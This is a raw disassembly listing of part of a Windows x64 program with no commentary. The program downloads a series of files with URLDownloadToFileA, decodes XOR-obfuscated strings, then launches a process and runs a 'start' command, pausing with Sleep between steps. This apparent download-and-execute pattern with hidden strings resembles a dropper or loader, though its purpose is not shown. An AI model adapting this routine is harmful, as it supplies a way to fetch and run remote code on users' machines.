lea rcx, [rbp + 0x880]
call fcn.140015f90
nop
lea rcx, [rbp + 0x5b0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x5d0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x5f0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x610]
call fcn.140001a40
nop
lea rcx, [rbp + 0x630]
call fcn.140001a40
nop
lea rcx, [rbp + 0x650]
call fcn.140001a40
nop
lea rcx, [rbp + 0x670]
call fcn.140001a40
nop
lea rcx, [rbp + 0x690]
call fcn.140001a40
nop
lea rcx, [rbp + 0x6b0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x6d0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x6f0]
call fcn.140001a40
nop
lea rcx, [rbp + 0x710]
call fcn.140001a40
call fcn.140006d60
mov qword [0x140054f40], rax
mov rsi, r13
mov rax, qword [rbp + 0xb90]
mov rdx, qword [rbp + 0xb88]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14000a87d
mov rdi, r13
movsd xmm6, qword [0x14004a0f8]
nop dword [rax]
lea rcx, [rdx + 0x20]
add rcx, rdi
call fcn.140001a30
mov rbx, rax
mov rcx, qword [rbp + 0xb88]
add rcx, rdi
call fcn.140001a30
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r14d, eax
mov r9, qword [rbp + 0xb90]
sub r9, qword [rbp + 0xb88]
sar r9, 6
lea rbx, [rsi + 1]
xorps xmm0, xmm0
test rbx, rbx
js 0x14000a7fc
cvtsi2sd xmm0, rbx
jmp 0x14000a814
mov rcx, rbx
shr rcx, 1
mov rax, rbx
and eax, 1
or rcx, rax
cvtsi2sd xmm0, rcx
addsd xmm0, xmm0
mulsd xmm0, xmm6
xorps xmm1, xmm1
test r9, r9
js 0x14000a827
cvtsi2sd xmm1, r9
jmp 0x14000a83f
mov rcx, r9
shr rcx, 1
mov rax, r9
and eax, 1
or rcx, rax
cvtsi2sd xmm1, rcx
addsd xmm1, xmm1
divsd xmm0, xmm1
lea r8d, [rsi + 1]
movaps xmm1, xmm6
call fcn.140006d70
test r14d, r14d
jne 0x14000a8f2
mov rsi, rbx
add rdi, 0x40
mov rax, qword [rbp + 0xb90]
mov rdx, qword [rbp + 0xb88]
sub rax, rdx
sar rax, 6
cmp rbx, rax
jb 0x14000a7a0
add rdx, 0x20
xor r8d, r8d
lea rcx, [rbp + 0x570]
call fcn.1400104a0
nop
mov ebx, 0xf5
mov dword [rbp + 0x4b8], ebx
lea rcx, [rbp + 0x570]
call fcn.140004020
test al, al
je 0x14000ab46
mov rdx, qword [rbp + 0xb88]
add rdx, 0x60
xor r8d, r8d
lea rcx, [rbp + 0x550]
call fcn.1400104a0
nop
mov ebx, 0xf7
mov dword [rbp + 0x4b8], ebx
lea rcx, [rbp + 0x550]
call fcn.140004020
test al, al
je 0x14000ab46
mov dil, 1
jmp 0x14000ab49
movdqa xmm1, xmmword [str.dnnD]
movdqu xmmword [rbp + 0xf0], xmm1
movdqa xmm2, xmmword [0x14004a3a0]
movdqu xmmword [rbp + 0x100], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0xf1], al
xor byte [rbp + 0xf2], cl
xor byte [rbp + 0xf3], cl
xor byte [rbp + 0xf4], cl
xor byte [rbp + 0xf5], cl
xor byte [rbp + 0xf6], cl
xor byte [rbp + 0xf7], cl
xor byte [rbp + 0xf8], cl
xor byte [rbp + 0xf9], cl
xor byte [rbp + 0xfa], cl
xor byte [rbp + 0xfb], cl
xor byte [rbp + 0xfc], cl
xor byte [rbp + 0xfd], cl
xor byte [rbp + 0xfe], cl
xor byte [rbp + 0xff], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x100], al
xor byte [rbp + 0x101], cl
xor byte [rbp + 0x102], cl
xor byte [rbp + 0x103], cl
xor byte [rbp + 0x104], cl
xor byte [rbp + 0x105], cl
xor byte [rbp + 0x106], cl
xor byte [rbp + 0x107], cl
xor byte [rbp + 0x108], cl
xor byte [rbp + 0x109], cl
xor byte [rbp + 0x10a], cl
xor byte [rbp + 0x10b], cl
xor byte [rbp + 0x10c], cl
xor byte [rbp + 0x10d], cl
xor byte [rbp + 0x10e], cl
xor byte [rbp + 0x10f], cl
mov byte [rbp + 0x110], 0
lea rdx, [rbp + 0xf1]
lea rcx, [0x140053670]
call fcn.14000f790
movdqa xmm1, xmmword [str.fllF]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x14004a3c0]
movdqu xmmword [rbp + 0x1c0], xmm2
mov r8b, 0x95
mov r9b, 0x8b
mov r10b, 0x82
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], dl
xor byte [rbp + 0x1b3], dl
xor byte [rbp + 0x1b4], dl
xor byte [rbp + 0x1b5], dl
xor byte [rbp + 0x1b6], dl
xor byte [rbp + 0x1b7], dl
xor byte [rbp + 0x1b8], dl
xor byte [rbp + 0x1b9], dl
xor byte [rbp + 0x1ba], dl
xor byte [rbp + 0x1bb], dl
xor byte [rbp + 0x1bc], dl
xor byte [rbp + 0x1bd], dl
xor byte [rbp + 0x1be], dl
xor byte [rbp + 0x1bf], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], dl
xor byte [rbp + 0x1c2], dl
xor byte [rbp + 0x1c3], dl
xor byte [rbp + 0x1c4], dl
xor byte [rbp + 0x1c5], dl
xor byte [rbp + 0x1c6], dl
xor byte [rbp + 0x1c7], dl
xor byte [rbp + 0x1c8], dl
xor byte [rbp + 0x1c9], dl
xor byte [rbp + 0x1ca], dl
xor byte [rbp + 0x1cb], dl
xor byte [rbp + 0x1cc], dl
xor byte [rbp + 0x1cd], dl
xor byte [rbp + 0x1ce], dl
xor byte [rbp + 0x1cf], dl
xor r8b, dl
mov byte [rbp + 0x1d0], r8b
xor r9b, dl
mov byte [rbp + 0x1d1], r9b
xor r10b, dl
mov byte [rbp + 0x1d2], r10b
mov byte [rbp + 0x1d3], 0
lea rdx, [rbp + 0x1b1]
lea rcx, [0x140053670]
call fcn.14000f790
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14001d1fc
nop
xor dil, dil
test bl, 2
je 0x14000ab5e
and ebx, 0xfffffffd
lea rcx, [rbp + 0x550]
call fcn.140003710
nop
test bl, 1
je 0x14000ab6f
lea rcx, [rbp + 0x570]
call fcn.140003710
test dil, dil
je 0x14000af9a
movdqa xmm1, xmmword [0x14004a280]
movdqu xmmword [rbp + 0x378], xmm1
mov dl, 0x5e
mov r8b, 0x5b
mov r9b, 0x11
mov r10b, 0x5a
mov r11b, 0x47
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x379], al
xor byte [rbp + 0x37a], cl
xor byte [rbp + 0x37b], cl
xor byte [rbp + 0x37c], cl
xor byte [rbp + 0x37d], cl
xor byte [rbp + 0x37e], cl
xor byte [rbp + 0x37f], cl
xor byte [rbp + 0x380], cl
xor byte [rbp + 0x381], cl
xor byte [rbp + 0x382], cl
xor byte [rbp + 0x383], cl
xor byte [rbp + 0x384], cl
xor byte [rbp + 0x385], cl
xor byte [rbp + 0x386], cl
xor byte [rbp + 0x387], cl
xor dl, cl
mov byte [rbp + 0x388], dl
xor r8b, cl
mov byte [rbp + 0x389], r8b
xor r9b, cl
mov byte [rbp + 0x38a], r9b
xor r10b, cl
mov byte [rbp + 0x38b], r10b
xor r11b, cl
mov byte [rbp + 0x38c], r11b
xor bl, cl
mov byte [rbp + 0x38d], bl
mov byte [rbp + 0x38e], 0
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x518]
call fcn.140001cf0
nop
lea rcx, [rbp + 0x379]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14000ac66
mov r8, rax
lea rdx, [rbp + 0x379]
lea rcx, [rbp + 0x518]
call fcn.140001d10
nop
lea r8, [rbp + 0x518]
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0xd80]
call fcn.140010100
nop
lea rcx, [rbp + 0x518]
call fcn.140001a40
mov dword [rbp + 0xd10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0xd18], xmm0
movups xmmword [rbp + 0xd28], xmm0
movups xmmword [rbp + 0xd38], xmm0
movups xmmword [rbp + 0xd48], xmm0
movups xmmword [rbp + 0xd58], xmm0
movups xmmword [rbp + 0xd68], xmm0
lea rcx, [rbp + 0xd80]
call fcn.140001a30
lea rcx, [rbp + 0xe00]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xd10]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000ae8f
lea rdx, [fcn.14000fa40]
lea rcx, [0x140053670]
call fcn.14000ccb0
mov r9, rax
movdqa xmm1, xmmword [0x14004a330]
movdqu xmmword [rbp + 0x190], xmm1
movdqa xmm2, xmmword [str.iurgtrEjochr_]
movdqu xmmword [rbp + 0x1a0], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd r8d, xmm1
xor cl, r8b
mov byte [rbp + 0x191], cl
xor byte [rbp + 0x192], r8b
xor byte [rbp + 0x193], r8b
xor byte [rbp + 0x194], r8b
xor byte [rbp + 0x195], r8b
xor byte [rbp + 0x196], r8b
xor byte [rbp + 0x197], r8b
xor byte [rbp + 0x198], r8b
xor byte [rbp + 0x199], r8b
xor byte [rbp + 0x19a], r8b
xor byte [rbp + 0x19b], r8b
xor byte [rbp + 0x19c], r8b
xor byte [rbp + 0x19d], r8b
xor byte [rbp + 0x19e], r8b
xor byte [rbp + 0x19f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rbp + 0x1a0], al
xor byte [rbp + 0x1a1], r8b
xor byte [rbp + 0x1a2], r8b
xor byte [rbp + 0x1a3], r8b
xor byte [rbp + 0x1a4], r8b
xor byte [rbp + 0x1a5], r8b
xor byte [rbp + 0x1a6], r8b
xor byte [rbp + 0x1a7], r8b
xor byte [rbp + 0x1a8], r8b
xor byte [rbp + 0x1a9], r8b
xor byte [rbp + 0x1aa], r8b
xor byte [rbp + 0x1ab], r8b
xor byte [rbp + 0x1ac], r8b
xor byte [rbp + 0x1ad], r8b
xor byte [rbp + 0x1ae], r8b
mov byte [rbp + 0x1af], 0
lea rdx, [rbp + 0x191]
mov rcx, r9
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov ecx, 0x541
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14001d1fc
int3
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x14004a130]
movdqu xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x201], al
xor byte [rbp + 0x202], cl
xor byte [rbp + 0x203], cl
xor byte [rbp + 0x204], cl
xor byte [rbp + 0x205], cl
xor byte [rbp + 0x206], cl
xor byte [rbp + 0x207], cl
xor byte [rbp + 0x208], cl
xor byte [rbp + 0x209], cl
xor byte [rbp + 0x20a], cl
xor byte [rbp + 0x20b], cl
xor byte [rbp + 0x20c], cl
xor byte [rbp + 0x20d], cl
xor byte [rbp + 0x20e], cl
mov byte [rbp + 0x20f], 0
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x750]
call fcn.140001b10
nop
mov r8, rax
lea rdx, str.start
lea rcx, [rbp + 0x730]
call fcn.140010100
nop
lea r8, [rbp + 0x201]
mov rdx, rax
lea rcx, [rbp + 0xde0]
call fcn.140010230
nop
lea rcx, [rbp + 0x730]
call fcn.140001a40
nop
lea rcx, [rbp + 0x750]
call fcn.140001a40
lea rcx, [rbp + 0xde0]
call fcn.140001a30
mov rcx, rax
call fcn.14001c928
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14001d1fc
nop
lea rdx, [fcn.14000fa40]
lea rcx, [0x140053670]
call fcn.14000ccb0
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov rdi, rax
movdqa xmm1, xmmword [0x14004a290]
movdqu xmmword [rbp + 0x390], xmm1
mov dl, 0x94
mov r8b, 0x90
mov r9b, 0x9d
movzx r10d, r9b
mov r11b, 0x8b
mov bl, 0x85
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd eax, xmm1
xor cl, al
mov byte [rbp + 0x391], cl
xor byte [rbp + 0x392], al
xor byte [rbp + 0x393], al
xor byte [rbp + 0x394], al
xor byte [rbp + 0x395], al
xor byte [rbp + 0x396], al
xor byte [rbp + 0x397], al
xor byte [rbp + 0x398], al
xor byte [rbp + 0x399], al
xor byte [rbp + 0x39a], al
xor byte [rbp + 0x39b], al
xor byte [rbp + 0x39c], al
xor byte [rbp + 0x39d], al
xor byte [rbp + 0x39e], al
xor byte [rbp + 0x39f], al
xor dl, al
mov byte [rbp + 0x3a0], dl
xor r8b, al
mov byte [rbp + 0x3a1], r8b
xor r9b, al
mov byte [rbp + 0x3a2], r9b
xor r10b, al
mov byte [rbp + 0x3a3], r10b
xor r11b, al
mov byte [rbp + 0x3a4], r11b
xor bl, al
mov byte [rbp + 0x3a5], bl
mov byte [rbp + 0x3a6], 0
lea rdx, [rbp + 0x391]
mov rcx, rdi
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
lea rdx, [fcn.14000fa40]
lea rcx, [0x140053670]
call fcn.14000ccb0
mov r9, rax
movdqa xmm1, xmmword [0x14004a490]
movdqu xmmword [rbp + 0x140], xmm1
movdqa xmm2, xmmword [0x14004a4b0]
movdqu xmmword [rbp + 0x150], xmm2
mov r8b, 0xd9
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp + 0x141], cl
xor byte [rbp + 0x142], dl
xor byte [rbp + 0x143], dl
xor byte [rbp + 0x144], dl
xor byte [rbp + 0x145], dl
xor byte [rbp + 0x146], dl
xor byte [rbp + 0x147], dl
xor byte [rbp + 0x148], dl
xor byte [rbp + 0x149], dl
xor byte [rbp + 0x14a], dl
xor byte [rbp + 0x14b], dl
xor byte [rbp + 0x14c], dl
xor byte [rbp + 0x14d], dl
xor byte [rbp + 0x14e], dl
xor byte [rbp + 0x14f], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x150], al
xor byte [rbp + 0x151], dl
xor byte [rbp + 0x152], dl
xor byte [rbp + 0x153], dl
xor byte [rbp + 0x154], dl
xor byte [rbp + 0x155], dl
xor byte [rbp + 0x156], dl
xor byte [rbp + 0x157], dl
xor byte [rbp + 0x158], dl
xor byte [rbp + 0x159], dl
xor byte [rbp + 0x15a], dl
xor byte [rbp + 0x15b], dl
xor byte [rbp + 0x15c], dl
xor byte [rbp + 0x15d], dl
xor byte [rbp + 0x15e], dl
xor byte [rbp + 0x15f], dl
xor r8b, dl
mov byte [rbp + 0x160], r8b
mov byte [rbp + 0x161], 0
lea rdx, [rbp + 0x141]
mov rcx, r9
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.14001d1fc
nop
lea rdx, [fcn.14000fa40]
lea rcx, [0x140053670]
call fcn.14000ccb0
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov r11, rax
movdqa xmm1, xmmword [0x14004a430]
movdqu xmmword [rbp + 0x328], xmm1
movdqa xmm2, xmmword [0x14004a3f0]
movdqu xmmword [rbp + 0x338], xmm2
mov dl, 0xb9
mov r8b, 0xb0
mov r9b, 0xab
mov r10b, 0xaa
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x329], al
xor byte [rbp + 0x32a], cl
xor byte [rbp + 0x32b], cl
xor byte [rbp + 0x32c], cl
xor byte [rbp + 0x32d], cl
xor byte [rbp + 0x32e], cl
xor byte [rbp + 0x32f], cl
xor byte [rbp + 0x330], cl
xor byte [rbp + 0x331], cl
xor byte [rbp + 0x332], cl
xor byte [rbp + 0x333], cl
xor byte [rbp + 0x334], cl
xor byte [rbp + 0x335], cl
xor byte [rbp + 0x336], cl
xor byte [rbp + 0x337], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x338], al
xor byte [rbp + 0x339], cl
xor byte [rbp + 0x33a], cl
xor byte [rbp + 0x33b], cl
xor byte [rbp + 0x33c], cl
xor byte [rbp + 0x33d], cl
xor byte [rbp + 0x33e], cl
xor byte [rbp + 0x33f], cl
xor byte [rbp + 0x340], cl
xor byte [rbp + 0x341], cl
xor byte [rbp + 0x342], cl
xor byte [rbp + 0x343], cl
xor byte [rbp + 0x344], cl
xor byte [rbp + 0x345], cl
xor byte [rbp + 0x346], cl
xor byte [rbp + 0x347], cl
xor dl, cl
mov byte [rbp + 0x348], dl
xor r8b, cl
mov byte [rbp + 0x349], r8b
xor r9b, cl
mov byte [rbp + 0x34a], r9b
xor r10b, cl
mov byte [rbp + 0x34b], r10b
mov byte [rbp + 0x34c], 0
lea rdx, [rbp + 0x329]
mov rcx, r11
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov r9, rax
movdqa xmm1, xmmword [0x14004a4f0]
movdqu xmmword [rbp + 0x168], xmm1
movdqa xmm2, xmmword [0x14004a500]
movdqu xmmword [rbp + 0x178], xmm2
mov r8b, 0xf6
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp + 0x169], cl
xor byte [rbp + 0x16a], dl
xor byte [rbp + 0x16b], dl
xor byte [rbp + 0x16c], dl
xor byte [rbp + 0x16d], dl
xor byte [rbp + 0x16e], dl
xor byte [rbp + 0x16f], dl
xor byte [rbp + 0x170], dl
xor byte [rbp + 0x171], dl
xor byte [rbp + 0x172], dl
xor byte [rbp + 0x173], dl
xor byte [rbp + 0x174], dl
xor byte [rbp + 0x175], dl
xor byte [rbp + 0x176], dl
xor byte [rbp + 0x177], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x178], al
xor byte [rbp + 0x179], dl
xor byte [rbp + 0x17a], dl
xor byte [rbp + 0x17b], dl
xor byte [rbp + 0x17c], dl
xor byte [rbp + 0x17d], dl
xor byte [rbp + 0x17e], dl
xor byte [rbp + 0x17f], dl
xor byte [rbp + 0x180], dl
xor byte [rbp + 0x181], dl
xor byte [rbp + 0x182], dl
xor byte [rbp + 0x183], dl
xor byte [rbp + 0x184], dl
xor byte [rbp + 0x185], dl
xor byte [rbp + 0x186], dl
xor byte [rbp + 0x187], dl
xor r8b, dl
mov byte [rbp + 0x188], r8b
mov byte [rbp + 0x189], 0
lea rdx, [rbp + 0x169]
mov rcx, r9
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14001d1fc
int3